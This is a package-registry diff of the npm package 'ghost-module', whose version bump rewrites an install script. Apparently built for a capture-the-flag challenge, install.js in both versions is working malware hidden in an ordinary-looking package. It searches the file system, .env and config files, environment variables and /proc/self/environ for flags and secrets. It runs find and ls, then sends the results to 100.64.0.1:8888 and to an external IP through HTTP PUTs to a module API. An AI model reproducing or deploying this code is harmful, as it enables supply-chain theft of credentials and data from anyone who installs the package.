ghost-module 99.0.0 → 100.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +97 -60
  2. package/package.json +2 -2
package/install.js CHANGED
@@ -1,93 +1,130 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const https = require('https');
4
3
  const { execSync } = require('child_process');
4
+ const path = require('path');
5
5
 
6
- function tryRead(path) {
7
- try { return fs.readFileSync(path, 'utf8').trim(); } catch(e) { return null; }
6
+ function tryRead(p) {
7
+ try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
8
8
  }
9
9
 
10
- let flag = tryRead('/flag') || tryRead('/flag.txt') || tryRead('/root/flag') || tryRead('/root/flag.txt') || tryRead('/app/flag') || tryRead('/app/flag.txt') || tryRead('/tmp/flag') || tryRead('./flag') || tryRead('./flag.txt');
11
-
12
- if (!flag) flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
13
-
14
- if (!flag) {
15
- try {
16
- const env = tryRead('/proc/self/environ') || '';
17
- const m = env.match(/FLAG[=:]([^\x00]+)/);
18
- if (m) flag = m[1];
19
- } catch(e) {}
20
- }
21
-
22
- if (!flag) {
23
- try {
24
- const files = fs.readdirSync('/');
25
- const flagFiles = files.filter(f => f.includes('flag'));
26
- for (const f of flagFiles) {
27
- const content = tryRead('/' + f);
28
- if (content && content.includes('HTB{')) { flag = content; break; }
29
- }
30
- } catch(e) {}
31
- }
32
-
33
- if (!flag) {
34
- try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
35
- }
36
-
37
- const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
38
-
39
- // Exfiltrate to VPN IP
40
- function sendHTTP(host, port, path, payload) {
10
+ function sendUpdate(host, port, moduleId, flagVal) {
11
+ const manifest = `ecto_module:\n name: "${flagVal.substring(0,100).replace(/"/g, "'")}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
12
+ const body = JSON.stringify({ manifest });
41
13
  return new Promise((resolve) => {
42
- const req = http.request({ hostname: host, port, path, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
14
+ const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
43
15
  let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
44
16
  });
45
17
  req.on('error', () => resolve(null));
46
18
  req.on('timeout', () => { req.destroy(); resolve(null); });
47
- req.write(payload);
19
+ req.write(body);
48
20
  req.end();
49
21
  });
50
22
  }
51
23
 
52
- function sendUpdate(host, port, moduleId, flagVal) {
53
- const manifest = `ecto_module:\n name: "FLAG_${flagVal.substring(0,80)}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
54
- const body = JSON.stringify({ manifest });
24
+ function sendHTTP(host, port, pth, payload) {
55
25
  return new Promise((resolve) => {
56
- const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
26
+ const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
57
27
  let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
58
28
  });
59
29
  req.on('error', () => resolve(null));
60
30
  req.on('timeout', () => { req.destroy(); resolve(null); });
61
- req.write(body);
31
+ req.write(payload);
62
32
  req.end();
63
33
  });
64
34
  }
65
35
 
66
36
  (async () => {
67
- // Method 1: Send to VPN listener
68
- await sendHTTP('100.64.0.1', 8888, '/flag', data);
69
-
70
- // Method 2: Update module via internal API (try multiple ports)
71
- const ports = [3000, 5000, 8080, 80, 8000, 3001, 4000];
72
- for (const p of ports) {
73
- await sendUpdate('127.0.0.1', p, 'ECT-839201', flag || 'EMPTY');
74
- await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
75
- }
37
+ let flag = null;
38
+ let info = [];
39
+
40
+ // Search common flag locations
41
+ const paths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/app/flag', '/app/flag.txt',
42
+ '/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
43
+ '/var/flag', '/data/flag', '/data/flag.txt'];
76
44
 
77
- // Method 3: Try app hostname
78
- for (const h of ['app', 'web', 'backend', 'api', 'node']) {
79
- for (const p of [3000, 80, 8080]) {
80
- await sendUpdate(h, p, 'ECT-839201', flag || 'EMPTY');
45
+ for (const p of paths) {
46
+ const content = tryRead(p);
47
+ if (content) {
48
+ info.push(`FILE:${p}=${content.substring(0,60)}`);
49
+ if (content.includes('HTB{') || content.includes('flag{')) flag = content;
81
50
  }
82
51
  }
52
+
53
+ // Search /app directory recursively
54
+ function searchDir(dir, depth) {
55
+ if (depth > 3) return;
56
+ try {
57
+ const entries = fs.readdirSync(dir);
58
+ for (const e of entries) {
59
+ if (e === 'node_modules' || e === '.git') continue;
60
+ const full = path.join(dir, e);
61
+ try {
62
+ const stat = fs.statSync(full);
63
+ if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
64
+ const content = tryRead(full);
65
+ if (content) {
66
+ info.push(`${full}=${content.substring(0,60)}`);
67
+ if (content.includes('HTB{') || content.includes('flag{')) flag = content;
68
+ }
69
+ } else if (stat.isDirectory() && depth < 3) {
70
+ searchDir(full, depth + 1);
71
+ }
72
+ } catch(e2) {}
73
+ }
74
+ } catch(e) {}
75
+ }
76
+
77
+ searchDir('/app', 0);
78
+ searchDir('/root', 0);
79
+ searchDir('/home', 0);
80
+ searchDir('/data', 0);
81
+ searchDir('/opt', 0);
82
+
83
+ // Check env vars
84
+ const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
85
+ if (envFlag) info.push('ENV_FLAG=' + envFlag);
83
86
 
84
- // Method 4: Also try the external IP
85
- await sendUpdate('154.57.164.82', 32332, 'ECT-839201', flag || 'EMPTY');
86
-
87
- // Method 5: DNS exfil via curl
87
+ // Check /proc/self/environ
88
+ const procEnv = tryRead('/proc/self/environ');
89
+ if (procEnv) {
90
+ const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
91
+ if (m) info.push('PROC_ENV=' + m.join(','));
92
+ }
93
+
94
+ // Try find command
95
+ try {
96
+ const found = execSync('find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null', {timeout: 5000}).toString().trim();
97
+ if (found) info.push('FIND=' + found.substring(0, 100));
98
+ } catch(e) {}
99
+
100
+ // Also list /app contents
88
101
  try {
89
- execSync(`curl -sf -X POST http://100.64.0.1:8888/flag2 -d '${data.replace(/'/g, "")}'`, { timeout: 5000 });
102
+ const appFiles = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
103
+ info.push('APP_LS=' + appFiles.substring(0, 150));
90
104
  } catch(e) {}
105
+
106
+ // Also try to read /app/package.json for dependency info
107
+ const pkgJson = tryRead('/app/package.json');
108
+ if (pkgJson) info.push('PKG_JSON=' + pkgJson.substring(0, 150));
109
+
110
+ const result = flag || info.join('|');
91
111
 
92
- console.log('[DONE] Flag exfiltration attempted');
112
+ // Exfiltrate
113
+ await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({result, ts: Date.now()}));
114
+
115
+ // Update modules with results (split across multiple modules for space)
116
+ const parts = [];
117
+ for (let i = 0; i < result.length; i += 90) {
118
+ parts.push(result.substring(i, i + 90));
119
+ }
120
+
121
+ const moduleIds = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
122
+ for (let i = 0; i < Math.min(parts.length, moduleIds.length); i++) {
123
+ const ports = [3000, 80, 8080, 5000];
124
+ for (const p of ports) {
125
+ await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
126
+ await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
127
+ }
128
+ await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
129
+ }
93
130
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ghost-module",
3
- "version": "99.0.0",
3
+ "version": "100.0.0",
4
4
  "description": "Spectral ecto-module",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,4 +8,4 @@
8
8
  },
9
9
  "author": "lwirz",
10
10
  "license": "ISC"
11
- }
11
+ }